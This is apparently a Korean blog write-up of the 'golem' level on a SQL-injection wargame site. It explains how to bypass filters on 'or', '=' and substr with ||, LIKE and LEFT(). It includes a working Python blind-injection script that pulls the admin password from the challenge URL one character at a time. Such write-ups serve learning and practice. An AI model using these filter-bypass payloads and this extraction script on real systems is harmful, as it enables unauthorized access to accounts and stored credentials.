이번 문제는 Orge 문제와 유사한 문제이다. 하지만 좀 더 강력한 필터링이 걸어져 있었다.
prob, _, ., (), or, and, substr(, =이 필터링이 걸어져 있었고, 거기에 addslashes 함수로 특정 특수문자를 사용 못하게 치환하였다.

 

내가 SQL Injection에 사용하는 문자열들은 or, LENGTH(pw)=, SUBSTR(PW, 1, 1)=이 있다.
필터링에 걸리는 것은 or, SUBSTR(, =이 걸린다. 이것을 우회하려면 ||, LIKE로 우회가 가능하다.
하지만 SUBSTR 함수는 우회 방법이 없어서 다른 함수를 사용해야할 것 같았다.

 

일단 pw의 길이를 구해보겠다.

 

Orc 문제처럼 admin의 pw가 여러 개는 아닌 듯 하다.
admin의 pw 길이는 8개이며, guest의 pw 길이는 15개이다.

 

길이를 구했으니, pw를 구해보겠다.

SUBSTR 함수를 쓰지 못하니, 다른 함수를 사용하여 pw를 구해야한다.

 

내가 아는 방법은 2가지 방법이 있다.
RIGHT(), LEFT()와 HEX 값 비교가 있다.

 

RIGHT()와 LEFT 함수는 문자열의 오른쪽/왼쪽을 일정 수치까지 자르는 함수이다.
HEX 값 비교는 pw의 HEX값과 비교하여 pw를 찾아내는 방법이다. (pw > 0x000000001)

 

일단 RIGHT(), LEFT()를 이용하여 admin의 pw를 구해보겠다.

import requests, string, itertools

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers = {'Cookie': 'PHPSESSID=387q85iillkptgef221pqbpg9t'}

def pwParser():
    result = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?pw='||LEFT(pw, {num}) LIKE '{result + s}"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break

    print(result)

pwParser()

손쉽게 구할 수 있었다.

 

구해진 pw 값을 보내주면 클리어하는 모습을 볼 수 있다.

 

하지만 여기서 끝나면 재미가 없다.
나는 두번째 방법인 HEX 값 비교를 통해 guest의 pw 값을 알아내려고 했지만, 시간이 많이 걸려서 가능한지만 보여주겠다.

이처럼 HEX값을 비교하여 True가 나오면 Guest로 로그인이 되는 것을 볼 수 있다.

복사했습니다!